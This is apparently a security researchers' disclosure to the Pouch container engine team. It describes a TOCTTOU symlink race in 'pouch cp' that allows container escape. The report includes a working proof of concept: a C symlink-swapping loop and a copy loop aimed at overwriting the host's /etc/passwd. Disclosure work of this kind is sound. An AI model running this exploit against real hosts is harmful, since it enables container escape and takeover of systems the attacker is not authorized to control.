Security Report
Dear Pouch Team,
We are a security research group. We studied version 1.3.1 and before the Pouch project and discovered that the 'pouch cp' function is vulnerable to a symlink-exchange attack. Exploiting such a problem, the attacker can write any file on the host with privilege.
An attacker who has control of a container can write arbitrary files on the host filesystem (which essentially is an escape) when an administrator tries to copy a file into the container, by exploiting a TOCTTOU vulnerability to replace the destination in the container as a symlink.
The container-based platform can use Pouch as the container engine and provide interfaces that encapsulate common commands (e.g., run, cp, etc.) for its users to manage the container. We assume that the adversaries in the container-based platform can control their containers and also request the platforms via legitimate interfaces to copy a file into a specified path in the container. When the platform performs 'pouch cp', the adversary can exploit this vulnerability to overwrite the sensitive file on the host or write on any path on the host with this file.
The 'pouch cp' command uses the function ExtractToDir() to extract the given archive at the specified path in the container when copying a file into the container. But there is a race condition in this function within daemon/mgr/container_copy.go. The TOCTTOU attack can happen after os.Lstat() and before the chrootarchive.Untar(). If the attacker in the container wins the race and replaces the specified path as a symlink, the path pointed by the symlink will be resolved under the host context and could be any path in the host, allowing the given archive to be extracted to a host path (outside of the container) and overwrite a sensitive file located in this path.
This vulnerability can be exploited in two conditions: firstly, if runc is set as the container runtime; secondly, if runsc (gVisor) is used as the container runtime and a file is copied from the host to the shared volume between the container and host in the container path.
Client: Pouch Engine
Version: 1.3.1
API Version: 1.24
Go Version: go1.19.5
Arch: amd64
We assume the goal of an attacker is to overwrite the sensitive file (‘/etc/passwd’) in the host.
Note: The PoC will overwrite the ‘/etc/passwd’. Anyone who wants to reproduce the attack should take extra caution! Backup it first or use another source file name if preferred.
● The attacker requests the administrator to open a container:
when using runc as the container runtime
○ [administrator] sudo pouch run -it gcc
when using runsc (gVisor) as the container runtime
○ [administrator] mkdir -p /tmp/test
○ [administrator] sudo pouch run -it -v /tmp/test:/test gcc
● The attacker creates a directory in the container and replaces this directory with a symlink.
○ [container] cat <<EOF >poc.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
mkdir("/test", 0777);
while (1){
mkdir("/test/evil",0777);
rmdir("/test/evil");
symlink("/etc", "/test/evil");
unlink("/test/evil");
}
return 0;
}
EOF
○ [container] gcc poc.c -o poc && ./poc
● The attacker requests the administrator to copy a malicious file passwd to the path /home/test in the container. (the content of passwd contains the keyword ‘malicious’)
○ [administrator]
while true
do
sudo pouch cp passwd <container_id>:/test/evil;
results=$(cat /etc/passwd | grep malicious);
if [ ! -z "$results" ]; then
echo "success!";
break;
fi
done
The result is that the attackers can write arbitrary host files to which they do not have authorized access.